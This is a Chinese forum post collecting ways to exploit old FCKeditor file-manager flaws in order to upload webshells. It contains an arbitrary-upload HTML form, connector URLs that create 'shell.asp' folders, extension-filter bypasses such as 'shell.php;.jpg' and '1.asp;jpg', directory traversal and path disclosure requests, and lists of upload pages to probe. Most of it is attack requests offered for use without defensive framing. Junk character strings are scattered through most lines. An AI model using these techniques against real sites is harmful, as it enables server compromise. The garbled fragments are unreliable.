找回密码
 立即注册
查看: 3151|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
2 Q/ u  B' }7 t  Q2 R# c4 f查看编辑器版本
8 l* M- X2 Y) b# _FCKeditor/_whatsnew.html8 f4 h) S9 {6 E
—————————————————————————————————————————————————————————————
% Y4 h7 Q2 G, M: j0 P1 A7 h/ x6 X; x: c: C9 S
2. Version 2.2 版本
# J, v0 |7 O# Z  ^4 nApache+linux 环境下在上传文件后面加个.突破!测试通过。
) [9 }5 |+ R# b/ G. t—————————————————————————————————————————————————————————————6 J0 [( s% b* B* E
" M7 E6 B2 E1 @/ [& A
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
) V: E2 T' s. _( ]<form id="frmUpload" enctype="multipart/form-data"
. `+ u7 `2 e! s+ Iaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
/ F0 P" [  |! ~& ^4 N<input type="file" name="NewFile" size="50"><br>
! K2 r0 C: `9 Z6 V<input id="btnUpload" type="submit" value="Upload">2 B5 {- v+ v6 p& J+ N/ o, f( X
</form>" P( V1 S( f8 l( U
—————————————————————————————————————————————————————————————
6 e: q3 _! `7 z7 {6 c* \$ k  E# J% k$ ?; E' X. l
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法1 d& J" U, ?1 k- R1 `
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。! O7 o. r4 Z: E( d1 ~3 w
    4.1:提交shell.php+空格绕过
( Y* [! t* S/ L, Y' k* Y( u: Q不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
  x1 J" d; }- k4 V) G6 f    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。) G5 Y7 t, Z$ L/ _2 j* O' ^
—————————————————————————————————————————————————————————————0 F( ?3 p, @5 a! L
( x6 H' e0 H( p5 P3 F! _: z
5. 突破建立文件夹
- M: U" Q/ y9 R: [FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756842 s! `$ W, I! n- A! \
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp8 J. ?' w, j) y% V  J& ~
—————————————————————————————————————————————————————————————! d0 r" W+ O' ]& @
# s  }& i/ J2 }  N8 W
6. FCKeditor 中test 文件的上传地址
" C: d: a% c; }3 T5 s9 YFCKeditor/editor/filemanager/browser/default/connectors/test.html9 {. h+ p6 Z" Z- Q
FCKeditor/editor/filemanager/upload/test.html
: y2 P& B) B. d0 l6 X) d8 v. zFCKeditor/editor/filemanager/connectors/test.html% n* z  D. V. r( D& A8 @/ \( d: P+ z
FCKeditor/editor/filemanager/connectors/uploadtest.html# z, e8 K/ O+ a
—————————————————————————————————————————————————————————————5 a5 w& p$ R% O+ b$ f8 D0 \

7 @" H7 f1 S' ?2 c. E% Z7.常用上传地址1 S- O0 S! e3 Z6 U  O/ T8 t
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% ~% o5 s2 o5 l* Q: ]% ^7 QFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
! r6 }6 Q* b7 }  B4 oFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
# S; p7 C7 f0 C, pJSP 版:
9 V# f5 E: h6 w9 j1 d& w* ^FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
0 H/ [' U! I/ j注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
8 `: c) P1 s% V件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。) A) V/ d' J3 s- g2 G+ c1 ?
—————————————————————————————————————————————————————————————
7 k% |2 y& ~( X' X# T0 V  D; b6 a3 V
8.其他上传地址
; _$ M: z/ q; j) aFCKeditor/_samples/default.html
) M: E. P! T6 g# a1 b/ h5 r9 L2 ~FCKeditor/_samples/asp/sample01.asp3 Z7 {  @! ~* t
FCKeditor/_samples/asp/sample02.asp
3 ~' x, S- X5 R) P; pFCKeditor/_samples/asp/sample03.asp
4 D( |/ r9 q( N. j2 i. QFCKeditor/_samples/asp/sample04.asp
1 u1 u# m$ v* M% B% d  M6 s一般很多站点都已删除_samples 目录,可以试试。- ~9 v- W9 r; _& r2 A: e
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。2 T6 Y: d" g% s
—————————————————————————————————————————————————————————————3 w0 z5 f- j1 W4 f+ R, |5 V' \

5 O6 u" s- E: O; N9.列目录漏洞也可助找上传地址; J5 T$ ], D2 {+ }1 }* E$ f9 w6 H
Version 2.4.1 测试通过
% o+ k: `6 h6 M4 F, E/ m  X, \修改CurrentFolder 参数使用 ../../来进入不同的目录* W! e$ o7 g7 d( s8 J8 [8 `, d( [
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
4 L) L9 p' y7 u6 w8 V2 h根据返回的XML 信息可以查看网站所有的目录。
4 Q  x. Z. D9 p' s- C; N) UFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 X$ g' {% H% r& w, @5 I- A& S也可以直接浏览盘符:
% ]8 i1 E, I/ b; G/ }JSP 版本:8 h# j2 X( H5 I* ]
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F. e+ ~8 z0 I& U7 U9 ~
—————————————————————————————————————————————————————————————+ [" [0 C- I9 k$ l2 }- Y
1 G5 |: E  e4 d0 S/ O
10.爆路径漏洞5 [% M: U# C9 p2 U0 }
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp! L3 ]2 t" w) Q% E
—————————————————————————————————————————————————————————————
* c2 h6 S- j2 r: {. R
7 W. P( l1 I/ J11. FCKeditor 被动限制策略所导致的过滤不严问题8 w) p" v# v$ @# v: I
        影响版本: FCKeditor x.x <= FCKeditor v2.4.35 y& {, T1 @0 X
脆弱描述:
3 n: L* u+ `; [% YFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
" o7 J8 M' A0 B1 V! {7 chtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
' b+ n$ z% l5 `/ k, R; q2 uFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!3 Q) z5 Z3 d$ h1 u& q
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。7 x' w, V% R! v; Q$ f' G
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
) |; W( D! |$ U: }% Y- V—————————————————————————————————————————————————————————————
8 _6 V% G. k/ `' u1 a0 I2 \1 v9 M1 E( X9 R  r; r! h
12.最古老的漏洞,Type文件没有限制!
4 I4 N  ~3 H* j( x! R        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
2 P1 }: s9 ?/ R8 P8 n& ^/ y, b—————————————————————————————————————————————————————————————
$ o6 E. I4 F/ P6 {% g7 y
+ s$ `) q2 h9 F" V: T  t& _===============================================================================================================================================& e! C3 o5 o6 ?) O! P0 m- ]
7 F8 k* U: [9 z
FCK编辑器jsp版本漏洞:
1 ~  J- k2 o5 x$ |3 n; M0 y  l; R; G4 I: L, W* a" h

% g8 i; S# z7 l9 W* p2 bhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F& B; k% e7 |$ W: n
2 ^2 F, @# a4 `' X1 D
上传马所在目录0 P1 U9 E6 i  ]7 ~/ ~/ E- d% y! O
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
) X& z7 y# m) a1 a1 N上传shell的地址:
2 V! r  j4 m2 G8 @# h6 C& Q' \" Hhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
( S! w, \% N4 ]( l' j跟版本有关系.并不是百分百成功. 测试成功几个站.
, ]/ c0 a8 Z. F* ]; w$ `  B不能通杀.很遗憾.) X& @" R7 b! l1 J8 u
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
! H/ V* o7 L6 \9 E! R  j如果以上地址不行可以试试
; E1 s# e, _7 y) b1 [1 s4 N; S: JFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
  N$ M/ R3 [" ^6 X5 x4 T1 Q* ]  U- F1 VFCKeditor/_samples/
$ O! s2 _( o. p. J$ O+ O. `( ?6 |FCKeditor/_samples/default.html
& m2 x3 a( n# R9 P6 L) e6 OFCKeditor/editor/fckeditor.htm
/ a4 W( m6 S' Z$ t& t" BFCKeditor/editor/fckdialog.html$ J% l0 |& k0 x+ K% S
0 a6 V3 K: M1 s7 H2 {  U1 Q  N0 _" \
! @- i) m/ n5 n8 |" W$ J
, b$ X: Y& B, b* B
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg( o0 }: t7 x7 j: i& a1 |. N4 D# x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表